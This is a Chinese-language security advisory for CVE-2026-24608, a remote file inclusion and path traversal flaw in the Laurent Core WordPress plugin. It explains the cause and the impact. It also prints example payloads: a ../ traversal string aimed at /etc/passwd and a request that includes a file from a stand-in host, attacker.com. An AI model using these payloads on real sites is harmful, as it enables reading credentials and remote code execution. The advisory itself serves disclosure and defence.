CVE-2026-24608CVE-2026-24608是WordPress主题插件Laurent Core中的一个高危安全漏洞,CVSS评分达到7.5分,属于高危级别。该漏洞属于PHP远程文件包含(Remote File Inclusion)类型,允许攻击者通过构造恶意请求包含服务器上的任意本地文件或远程文件,从而实现敏感信息泄露、敏感文件读取,甚至可能触发远程代码执行。漏洞存在于laurent-core插件的特定功能模块中,由于对用户输入的文件路径参数缺乏充分的验证和过滤,攻击者可以利用路径遍历技术(如使用../)绕过目录限制,访问服务器上的敏感配置文件、系统文件或其他不应被公开访问的资源。此漏洞影响Laurent Core插件从不明版本到2.4.1的所有版本,攻击复杂度较低,无需高权限或用户交互即可实施攻击。该漏洞由Patchstack安全团队的审计人员发现并报告,披露日期为2026年1月23日。由于WordPress生态系统中此类插件被广泛使用,该漏洞可能影响大量使用该主题的网站。
该漏洞是典型的PHP文件包含漏洞,源于对include/require语句中文件名控制不当。在Laurent Core插件的代码中,某个功能模块直接使用用户可控的请求参数作为文件路径传递给PHP的include或require语句,而没有进行充分的输入验证和安全过滤。攻击者可以通过构造类似load_parameter这样的HTTP GET参数,指定服务器上的任意文件路径(如/etc/passwd、wp-config.php等敏感文件)进行包含。漏洞利用的关键在于参数值未经过滤,攻击者可以使用路径遍历字符(../)来跳出插件目录,访问服务器根目录下的任意文件。在某些配置下,如果allow_url_fopen和allow_url_include被启用,攻击者甚至可以包含远程服务器上的恶意PHP文件,实现远程代码执行。典型的攻击payload形如:?load_parameter=../../../../../../etc/passwd或?load_parameter=http://attacker.com/malicious.txt。一旦攻击者成功利用此漏洞,可以读取wp-config.php获取数据库凭据、读取.htaccess和.htpasswd文件、访问其他插件和主题的源代码,甚至可能通过包含恶意文件实现服务器远程代码执行。